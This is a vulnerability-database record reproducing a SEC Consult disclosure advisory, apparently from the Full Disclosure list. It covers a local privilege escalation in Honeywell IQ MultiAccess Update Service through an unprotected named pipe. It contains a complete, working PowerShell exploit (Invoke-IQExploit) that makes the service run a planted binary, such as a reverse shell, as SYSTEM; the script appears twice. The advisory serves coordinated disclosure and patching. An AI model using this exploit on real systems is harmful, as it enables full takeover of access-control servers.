GCVE-1988-2026-0433

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260923-0 > ======================================================================= title: Local Privilege Escalation product: Honeywell IQ MultiAccess Update Service  vulnerable version: IQ V27 & IQ V28 fixed version: IQ V27 SP1 & IQ V28 SP1          CVE number: CVE-2026-13742              impact: high homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess               found: 2026-03-19 by: J. Kruchem (Office Vienna) G. Jank (Office Vienna)                      SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "IQ MultiAccess is a highly scalable access control software solution suitable for controlling multiple locations within a company or several companies within a building complex/business park." Source:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess Business recommendation: ------------------------ The vendor provides patched versions which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Local Privilege Escalation (CVE-2026-13742) Due to a named pipe configured with a NULL DACL a low-privileged user can use the pipe to communicate with the IQUpdSrv service running as SYSTEM. When providing specific data over the pipe, arbitrary executables can be executed with SYSTEM rights. Proof of concept: ----------------- 1) Local Privilege Escalation (CVE-2026-13742) The PoC PS-Script connects to the named pipe and sends the following commands: - SET SERVERIP "127.0.0.1" - Configure IP. The IP itself is not important because the goal is to timeout the connection. - SET SERVERPORT "9998" - SET URL "/SETUPVPS.EXE?ET=10&SILENT=0" - SET FNAME "C:\Temp\SETUPVPS.EXE" - Path and filename of the file which should be executed by IQUpdSrv to perform an update. - If the file is present, C:\Windows\Temp will be used and the behavior can NOT be exploited. - The file will be created with size 0 bytes. - DO DOWNLOAD - IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed). Then the file C:\Temp\SETUPVPS.EXE will be deleted. - //Local command: Copy Reverse Shell Server_31337.exe to C:\Temp\SETUPVPS.EXE - So the file is present even though IQUpdSrv thinks it is deleted. - DO EXECUTE - IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener. ``` <# .SYNOPSIS Communicates with named pipe "iqupdsrvpipe" to trigger download + execution of SETUPVPS.EXE .DESCRIPTION Sends commands via named pipe → waits → copies temp file to destination (without renaming), then sends execute command. Old destination file is removed; old temp file is NOT removed. .PARAMETER DestFile Final path where the file should end up Default: "C:\Temp\SETUPVPS.EXE" .PARAMETER TempFile Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile) Default: "C:\Temp\_SETUPVPS.EXE" .PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required) Default: "127.0.0.1" .PARAMETER ServerPort (can be arbitrary) Default: "9998" .PARAMETER ConnectTimeoutSeconds Default: 10 .PARAMETER WaitAfterDownloadSeconds Default: 15 .EXAMPLE Import-Module .\Invoke-IQExploit.psm1 -Force Invoke-IQExploit #> function Invoke-IQExploit { [CmdletBinding()] param( [string]$DestFile = "C:\Temp\SETUPVPS.EXE", [string]$TempFile = "C:\Temp\_SETUPVPS.EXE", [string]$ServerIp = "127.0.0.1", [string]$ServerPort = "9998", [int]$ConnectTimeoutSeconds = 10, [int]$WaitAfterDownloadSeconds = 15 ) $DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile) $TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile) Write-Host "`nInvoke-IQExploit started" -ForegroundColor DarkCyan Write-Host " Final destination : $DestFile" Write-Host " e.g. Reverse Shell: $TempFile" Write-Host " Wait after download: $WaitAfterDownloadSeconds seconds" Write-Host "" if (Test-Path $DestFile) { Write-Host "Removing old destination file to prevent execution from C:\Windows\Temp" -ForegroundColor DarkYellow Remove-Item $DestFile -Force -ErrorAction SilentlyContinue } else { Write-Host "No existing destination file to remove." -ForegroundColor DarkGray } $pipe = $null $sw = $null try { Write-Host "Connecting to \\.\pipe\iqupdsrvpipe ..." -ForegroundColor Cyan $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", "iqupdsrvpipe", "InOut") $pipe.Connect($ConnectTimeoutSeconds * 1000) if (-not $pipe.IsConnected) { throw "Pipe connection timeout after $ConnectTimeoutSeconds seconds" } Write-Host "Connected." -ForegroundColor Green $sw = New-Object System.IO.StreamWriter($pipe) $sw.AutoFlush = $true $commands = @( "SET SERVERIP `"$ServerIp`"", "SET SERVERPORT `"$ServerPort`"", 'SET URL "/SETUPVPS.EXE?ET=10&SILENT=0"', "SET FNAME `"$DestFile`"", "DO DOWNLOAD" ) foreach ($cmd in $commands) { Write-Host "Sending: $cmd" -ForegroundColor Gray $sw.WriteLine($cmd) Start-Sleep -Milliseconds 350 } Write-Host "`nDownload command sent." -ForegroundColor Yellow Write-Host "Waiting $WaitAfterDownloadSeconds seconds for file to appear at:" -ForegroundColor Yellow Write-Host " $TempFile" -ForegroundColor Yellow Start-Sleep -Seconds $WaitAfterDownloadSeconds Write-Host "`nWait finished. Checking temp file..." -ForegroundColor Cyan if (Test-Path $TempFile) { Write-Host "Temp file found copying to destination" -ForegroundColor Green Copy-Item -Path $TempFile -Destination $DestFile -Force Write-Host "Copy completed to $DestFile" -ForegroundColor Green } else { Write-Warning "No Temp file found at: $TempFile" Write-Warning "Create a binary which should be invoked as SYSTEM at: $TempFile." } Write-Host "Sending DO EXECUTE..." -ForegroundColor Cyan $sw.WriteLine("DO EXECUTE") Write-Host "Executing $DestFile as SYSTEM." -ForegroundColor Green } catch { Write-Error "Error: $($_.Exception.Message)" } finally { if ($sw) { $sw.Dispose() | Out-Null } if ($pipe) { $pipe.Dispose() | Out-Null } Write-Host "`nOperation finished." -ForegroundColor DarkGray } } Export-ModuleMember -Function Invoke-IQExploit ``` Vulnerable / tested versions: ----------------------------- The following version has  been tested and verified to be vulnerable: * IQ MultiAccess IQ.V27 According to the vendor, the versions V27 as well as V28 before SP1 are affected. Vendor contact timeline: ------------------------ 2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted advisory. 2026-03-20: Vendor responds that they didn't find any POCs and we should resend them. 2026-03-23: Resending PGP-encrypted advisory again. 2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the advisory unencrypted and we send it in clear text. Vendor confirms receipt now and coordinates internally. 2026-04-21: Asking for status update. 2026-05-22: Vendor responds and will clarify internally. 2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score. 2026-05-28: Asking vendor for coordinated release of advisory and list of affected products. 2026-06-10: Asking for a status update and CVE number. 2026-06-10: PSIRT was waiting on the engineer's response, fix should be included in the IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release. 2026-06-18: Asking for a status update. 2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month. Vendor provides CVE JSON for review later that day. 2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high. 2026-06-23: Vendor updated the score and further prepares release. 2026-06-29: Vendor informs us that CVE-2026-13742 has been published. 2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences. 2026-09-23: Release of security advisory Solution: --------- The vendor provides patched versions IQ V27 SP1 and IQ V28 SP1. Furthermore, the vendor provides a security notice SN2026-06-25: https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your applicationhttps://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local officeshttps://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web:https://www.sec-consult.com Blog:http://blog.sec-consult.com X:https://x.com/sec_consult EOF J. Kruchem, G. Jank / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
Impacted products
Vendor Product Version CPE status
Honeywell IQ MultiAccess Update Service Affected: unknown
guessed Create a notification for this product.
Credits
SEC Consult Vulnerability Lab via Fulldisclosure
Relationships
analysis GCVE-1988-2026-0433 (this record)
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "IQ MultiAccess Update Service",
          "vendor": "Honeywell",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260923-0 \u003e\n=======================================================================\n              title: Local Privilege Escalation\n            product: Honeywell IQ MultiAccess Update Service\n\u00a0vulnerable version: IQ V27 \u0026 IQ V28\n      fixed version: IQ V27 SP1 \u0026 IQ V28 SP1\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-13742\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-03-19\n                 by: J. Kruchem (Office Vienna)\n                     G. Jank (Office Vienna)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"IQ MultiAccess is a highly scalable access control software solution suitable\nfor controlling multiple locations within a company or several companies\nwithin a building complex/business park.\"\n\nSource:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patched versions which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation (CVE-2026-13742)\nDue to a named pipe configured with a NULL DACL a low-privileged user can\nuse the pipe to communicate with the IQUpdSrv service running as SYSTEM.\nWhen providing specific data over the pipe, arbitrary executables can be\nexecuted with SYSTEM rights.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation (CVE-2026-13742)\nThe PoC PS-Script connects to the named pipe and sends the following commands:\n - SET SERVERIP \"127.0.0.1\"\n   - Configure IP. The IP itself is not important because the goal is to timeout the connection.\n - SET SERVERPORT \"9998\"\n - SET URL \"/SETUPVPS.EXE?ET=10\u0026SILENT=0\"\n - SET FNAME \"C:\\Temp\\SETUPVPS.EXE\"\n    - Path and filename of the file which should be executed by IQUpdSrv to perform an update.\n    - If the file is present, C:\\Windows\\Temp will be used and the behavior can NOT be exploited.\n    - The file will be created with size 0 bytes.\n - DO DOWNLOAD\n    - IQUpdSrv tries to download the file SETUPVPS.EXE but fails (timeout of ~15 seconds needed).\n      Then the file C:\\Temp\\SETUPVPS.EXE will be deleted.\n - //Local command: Copy Reverse Shell Server_31337.exe to C:\\Temp\\SETUPVPS.EXE\n    - So the file is present even though IQUpdSrv thinks it is deleted.\n - DO EXECUTE\n    - IQUpdSrv starts the SETUPVPS.EXE with SYSTEM rights and connects to your reverse shell listener.\n\n\n```\n\u003c#\n.SYNOPSIS\n    Communicates with named pipe \"iqupdsrvpipe\" to trigger download + execution of SETUPVPS.EXE\n\n.DESCRIPTION\n    Sends commands via named pipe \u2192 waits \u2192 copies temp file to destination (without renaming),\n    then sends execute command.\n    Old destination file is removed; old temp file is NOT removed.\n\n.PARAMETER DestFile\n    Final path where the file should end up\n    Default: \"C:\\Temp\\SETUPVPS.EXE\"\n\n.PARAMETER TempFile\n    Path where the malicious binary is placed (e.g. Reverse Shell. Will be COPIED to DestFile)\n    Default: \"C:\\Temp\\_SETUPVPS.EXE\"\n\n.PARAMETER ServerIp (can be arbitrary. Works faster if reachable. If not reachable timeout is required)\n    Default: \"127.0.0.1\"\n\n.PARAMETER ServerPort (can be arbitrary)\n    Default: \"9998\"\n\n.PARAMETER ConnectTimeoutSeconds\n    Default: 10\n\n.PARAMETER WaitAfterDownloadSeconds\n    Default: 15\n\n.EXAMPLE\n    Import-Module .\\Invoke-IQExploit.psm1 -Force\n    Invoke-IQExploit\n#\u003e\n\nfunction Invoke-IQExploit {\n    [CmdletBinding()]\n    param(\n        [string]$DestFile = \"C:\\Temp\\SETUPVPS.EXE\",\n        [string]$TempFile = \"C:\\Temp\\_SETUPVPS.EXE\",\n        [string]$ServerIp = \"127.0.0.1\",\n        [string]$ServerPort = \"9998\",\n        [int]$ConnectTimeoutSeconds = 10,\n        [int]$WaitAfterDownloadSeconds = 15\n    )\n\n    $DestFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($DestFile)\n    $TempFile = $PSCmdlet.SessionState.Path.GetUnresolvedProviderPathFromPSPath($TempFile)\n\n    Write-Host \"`nInvoke-IQExploit started\" -ForegroundColor DarkCyan\n    Write-Host \"  Final destination : $DestFile\"\n    Write-Host \"  e.g. Reverse Shell: $TempFile\"\n    Write-Host \"  Wait after download: $WaitAfterDownloadSeconds seconds\"\n    Write-Host \"\"\n\n    if (Test-Path $DestFile) {\n        Write-Host \"Removing old destination file to prevent execution from C:\\Windows\\Temp\" -ForegroundColor DarkYellow\n        Remove-Item $DestFile -Force -ErrorAction SilentlyContinue\n    }\n    else {\n        Write-Host \"No existing destination file to remove.\" -ForegroundColor DarkGray\n    }\n\n    $pipe = $null\n    $sw   = $null\n\n    try {\n        Write-Host \"Connecting to \\\\.\\pipe\\iqupdsrvpipe ...\" -ForegroundColor Cyan\n        $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\".\", \"iqupdsrvpipe\", \"InOut\")\n        $pipe.Connect($ConnectTimeoutSeconds * 1000)\n\n        if (-not $pipe.IsConnected) {\n            throw \"Pipe connection timeout after $ConnectTimeoutSeconds seconds\"\n        }\n\n        Write-Host \"Connected.\" -ForegroundColor Green\n\n        $sw = New-Object System.IO.StreamWriter($pipe)\n        $sw.AutoFlush = $true\n\n        $commands = @(\n            \"SET SERVERIP `\"$ServerIp`\"\",\n            \"SET SERVERPORT `\"$ServerPort`\"\",\n            \u0027SET URL \"/SETUPVPS.EXE?ET=10\u0026SILENT=0\"\u0027,\n            \"SET FNAME `\"$DestFile`\"\",\n            \"DO DOWNLOAD\"\n        )\n\n        foreach ($cmd in $commands) {\n            Write-Host \"Sending: $cmd\" -ForegroundColor Gray\n            $sw.WriteLine($cmd)\n            Start-Sleep -Milliseconds 350\n        }\n\n        Write-Host \"`nDownload command sent.\" -ForegroundColor Yellow\n        Write-Host \"Waiting $WaitAfterDownloadSeconds seconds for file to appear at:\" -ForegroundColor Yellow\n        Write-Host \"  $TempFile\" -ForegroundColor Yellow\n\n        Start-Sleep -Seconds $WaitAfterDownloadSeconds\n\n        Write-Host \"`nWait finished. Checking temp file...\" -ForegroundColor Cyan\n\n        if (Test-Path $TempFile) {\n            Write-Host \"Temp file found copying to destination\" -ForegroundColor Green\n            Copy-Item -Path $TempFile -Destination $DestFile -Force\n            Write-Host \"Copy completed to $DestFile\" -ForegroundColor Green\n\n        }\n        else {\n            Write-Warning \"No Temp file found at: $TempFile\"\n            Write-Warning \"Create a binary which should be invoked as SYSTEM at: $TempFile.\"\n        }\n\n        Write-Host \"Sending DO EXECUTE...\" -ForegroundColor Cyan\n        $sw.WriteLine(\"DO EXECUTE\")\n        Write-Host \"Executing $DestFile as SYSTEM.\" -ForegroundColor Green\n\n    }\n    catch {\n        Write-Error \"Error: $($_.Exception.Message)\"\n    }\n    finally {\n        if ($sw)   { $sw.Dispose()   | Out-Null }\n        if ($pipe) { $pipe.Dispose() | Out-Null }\n        Write-Host \"`nOperation finished.\" -ForegroundColor DarkGray\n    }\n}\n\nExport-ModuleMember -Function Invoke-IQExploit\n```\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has \u00a0been tested and verified to be vulnerable:\n* IQ MultiAccess IQ.V27\n\nAccording to the vendor, the versions V27 as well as V28 before SP1 are affected.\n\n\nVendor contact timeline:\n------------------------\n2026-03-20: Contacting vendor throughsecurity () honeywell com, attaching PGP-encrypted\n            advisory.\n2026-03-20: Vendor responds that they didn\u0027t find any POCs and we should resend them.\n2026-03-23: Resending PGP-encrypted advisory again.\n2026-03-25: Asking of the vendor received the advisory now. Vendor asks to submit the\n            advisory unencrypted and we send it in clear text. Vendor confirms receipt\n            now and coordinates internally.\n2026-04-21: Asking for status update.\n2026-05-22: Vendor responds and will clarify internally.\n2026-05-27: Vendor responds that the vulnerability is fixed, provides CVSS score.\n2026-05-28: Asking vendor for coordinated release of advisory and list of affected\n            products.\n2026-06-10: Asking for a status update and CVE number.\n2026-06-10: PSIRT was waiting on the engineer\u0027s response, fix should be included in the\n            IQ MultiAccess V27 SP1 and V28 SP1, they are working on a release.\n2026-06-18: Asking for a status update.\n2026-06-18: Vendor is working on the CVE, fix will be available at the end of the month.\n            Vendor provides CVE JSON for review later that day.\n2026-06-19: Suggesting a different CVSS score as confidentiality and integrity impact is high.\n2026-06-23: Vendor updated the score and further prepares release.\n2026-06-29: Vendor informs us that CVE-2026-13742 has been published.\n2026-09-22: Informing vendor about upcoming advisory release and delay during summer absences.\n2026-09-23: Release of security advisory\n\n\nSolution:\n---------\nThe vendor provides patched versions IQ V27 SP1 and IQ V28 SP1.\nFurthermore, the vendor provides a security notice SN2026-06-25:\nhttps://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem, G. Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/88"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.honeywell.com/content/dam/honcorp/us-en/legal/product-security/hon-sn2026-06-25-01-time%E2%80%91of%E2%80%91use-signature-bypass-in-honeywell-iq-multi-access.pdf"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/88"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260923-0 :: Local Privilege Escalation in Honeywell IQ MultiAccess Update Service #CVE-2026-13742",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-13742",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0433",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/88",
            "automated": true,
            "contentSha256": "c363d09223634c6cfd5f497635a2e252a6b9115387f57e23965e8d9f167c2177",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/88",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T08:59:30Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0433"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0433"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.